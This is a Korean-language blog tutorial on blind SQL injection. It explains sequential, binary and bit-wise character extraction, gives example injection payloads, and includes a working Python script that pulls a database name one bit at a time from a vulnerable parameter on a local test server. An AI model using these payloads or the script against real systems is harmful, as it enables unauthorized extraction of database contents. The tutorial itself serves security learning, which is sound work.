blind sql injection

2024. 10. 29. 08:46Web Security/웹 해킹

blind sql injection의 경우, error sql injection 과 union base sql injection에 비하면 너무 많이 걸린다. 하지만, 결과값을 확인하기 힘든 경우 time base blind sql injection 혹은 blind sql injection을 사용할 수 있는다. 또한, blind sql injection은 error, union base 보다 환경적으로 더 발생활 확률이 높다. 이에 blind sql injection을 설명 해보고자 한다.

 

아래 영상은 blind sql injection 버그바운티 영상이다. 궁금하신분들은 한번 구경해보세요 

https://www.youtube.com/watch?v=bhPV7Mmp66o

 

 

일단 blind sql injection이 가능할려면 참/거짓이 판정 가능할만한 정보가 있어야 한다. 없는 경우 time base blind sql injection을 사용하면 된다. 

 

 

blind sql injection의 경우 3가지 방식이 있다.

 

1. 순차 탐색

2. 이진 탐색

3. 비트 단위 탐색

 

이 중 평균적으로 비트 단위 탐색의 시간이 가장 적다.

 

순차 탐색은 a,b,c,d,e,f,... 이런 순으로 데이터를 뽑아낸다고 생각하며 되고, 이진 탐색의 경우 중간의 알파벳의 아스키코드보다 크냐 작냐를 비교하는 것이다. 비트 단위 탐색의 경우, 아스키코드가 127 의 범위이고, 1바이트의 1비트 씩 알아내는 것이다. 7번 보내서 한바이트 씩알아내는 방법이다.만약 아스키코드의 범위가 255면 8번 보내야 하지만, 127임으로 7번임. 아래 사진으로 1바이트의 제일 상위 바이트는 무조건 0으로 고정이다. 아스키 코드의 경우.

 

다음과 같이 3-1를 했을 때 idx=2인 페이지를 보여줌으로 sql injection에 취약하다고 볼 수 있다.

 

 

db에서 본다면 select * from DB_name where idx = 3-1 이라고 할 수 있다. 아래 사진은 돌아온 결과 값 페이지 union 공격이 가능한 환경이지만 blind sql injection 으로 공격해보겠다.

 

  blind sql injection을 통해서 db 의 이름을 알아내는 방법은 다음과 같다.

 

순차 탐색의 경우

select * from DB_name where idx = 2 and ascii(substr(database(),1,1)) = ascii("a") 이라고 볼 수 있다.

이런식으로 a부터 z 까지의 단어를 계속 집어 넣어서 p가 나올 때가지 확인하는 방법이다.

 

이진탐색의 경우

알파벳 중간의 단어 m 보다 큰지 확인, 크다면 m~z사이 단어 t보다느 큰지 확인 작다면, m~t사이의 단어인 p를 확인 p보다 작다면m과 p의 사이 단어 n를 검색 크다면 n과 p 사이 단어 o를 검색 크다면 첫 이름은 p이다. 

 

비트 탐색의 경우

select * from DB_name where idx = 2 and ascii(substr(database(),1,1)) & 1 = 1

 

0111 0000 임을 알수 있다. 

이런 논리임 0011 1000 & 8(1000) != 8(1000) 을 한 번씩 확인하는 거임.

 

결국 112이고이는 p의 아스키코드임을 알 수 있고 사용되고 있는 db의 앞 자리 수가 p임을 알 수 있다.

 

 

 

 

궁금점이 생길 것이다. 그렇다면 언제까지 진행해야 되는지? db의 이름의 끝은 어디인지를 알아야 한다. length 함수를 통해서 길이를 알아낼 수 있다. 알아내면 그 길이 많큼 비트든, 순차든, 이진 탐색이든 사용해서 알아내면 된다.

 

 

실제 웹 사이트에 공격은 다음과 같다.

DB 에서

 

페이로드

 

결과

 

 

만약 &idx=2%20and%20length(database())=8 같은 페이로드를 준다면 null이고 아래 결과 나온다.

 

 

즉 알아낼 내용의 길이를 알아낸 뒤, 그 후 알아내면 되는 것인데... 이를 일일이 수작업으로 하면 힘들다. 이에 파이썬으로 해결 할 수 있다.

import requests
import urllib.parse

data_byte = 0
data_name = []
data_length = 0

for l in range(1, 15):
    url = f"http://127.0.0.1/index.php?page=view&idx=2%20and%20length(database())={l}"
    print("보낸 url:", url)
    response = requests.get(url)

    if response.status_code == 200:
        if "dfasdfasdfasdf" in response.text:  
            print(f"{l}의 길이를 가지고 있습니다.")
            data_length = l
            break

for l in range(1, data_length + 1):
    for i in range(0, 8):
        bit = 2 ** i
        payload = f"2 and ascii(substr(database(),{l},1))%26{bit}={bit}"
        url = f"http://127.0.0.1/index.php?page=view&idx={payload}"

        response = requests.get(url)

        if response.status_code == 200:
            if "dfasdfasdfasdf" in response.text: 
                data_byte += bit

        print(f"보낸 url: {url}, 현재 바이트 값: {data_byte}")

   
    data_name.append(chr(data_byte))
    data_byte = 0  

print("database 이름:", "".join(data_name) + " db 길이" +str(data_length))

 

 

요약 :union sql injection 이랑 비슷하지만 조금 더 추가하면 된다

 

1. sql injection 취약한 부분 찾기

2. 기본 정보 (db 사용자, db 이름, 버전 정보)

2.1 정보길이 추출 -> blind를 통해서 한자리씩 알아내기

3. DRMS 스키마 정보 추출

3.1 정보길이 추출 -> blind를 통해서 한자리씩 알아내기

4. 이를 기반으로 추가 데이터 추출

4.1 정보길이 추출 -> blind를 통해서 한자리씩 알아내기

'Web Security > 웹 해킹' 카테고리의 다른 글

PHP Session Poisoning using LFI  (0) 2025.01.09
file upload & download & reverse shell  (11) 2024.11.15
sql injection CTF vs real world. finger print  (0) 2024.10.27
SQL injection 취약 부분 찾기  (0) 2024.10.24
NO-SQL injection  (2) 2024.10.02